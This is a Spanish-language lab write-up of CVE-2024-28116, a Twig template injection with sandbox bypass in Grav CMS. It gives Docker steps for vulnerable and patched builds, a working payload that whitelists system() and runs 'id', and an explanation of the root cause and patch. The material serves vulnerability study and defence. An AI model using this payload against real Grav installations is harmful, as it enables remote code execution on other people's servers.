
Análisis y reproducción con Docker de CVE-2024-28116 - SSTI con evasión de sandbox en Grav CMS
Análisis y reproducción con Docker de CVE-2024-28116, una vulnerabilidad de inyección de plantillas del lado del servidor con evasión del sandbox de seguridad en Grav CMS hasta la versión 1.7.44 inclusive, corregida en la versión 1.7.45.
Reportado por: Maurizio Siddu (akabe1)
Puntuación CVSS v3.1: 8.8 (Alta)
Corregido en: Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
Abra su navegador en http://localhost:8080/admin y cree una cuenta de administrador en el primer acceso.
http://localhost:8080/admintest page y haga clic en Continuar{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-pageEsto confirma la ejecución remota de código como usuario del servidor web.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
Abra su navegador en http://localhost:8081/admin y repita todos los pasos del exploit anteriores, apuntando a http://localhost:8081/test-page.
La página estará completamente en blanco. El método cleanDangerousTwig() en Security.php detecta y bloquea la directiva twig.safe_functions antes de que llegue al motor de Twig. La lista blanca nunca se modifica y el comando nunca se ejecuta.
La vulnerabilidad se encuentra en system/src/Grav/Common/Twig.php. Grav implementa un sandbox para evitar que se llamen funciones PHP peligrosas dentro de las plantillas Twig, basado en una lista negra verificada por isDangerousFunction(). Sin embargo, el sandbox no protege el propio objeto Twig. Un usuario con nivel de editor puede interactuar con el objeto Twig mediante directivas de plantilla especialmente diseñadas y sobrescribir la lista blanca system.twig.safe_functions en tiempo de ejecución. Una vez que una función peligrosa como system() se añade a la lista blanca, la verificación del sandbox se evade y la función se ejecuta sin restricciones.
El parche añade 'twig.safe_functions' a la lista de patrones bloqueados dentro del método cleanDangerousTwig() en system/src/Grav/Common/Security.php. Cualquier directiva que contenga esta cadena se neutraliza antes de llegar al motor de Twig, lo que hace imposible que un editor modifique la lista blanca desde una plantilla.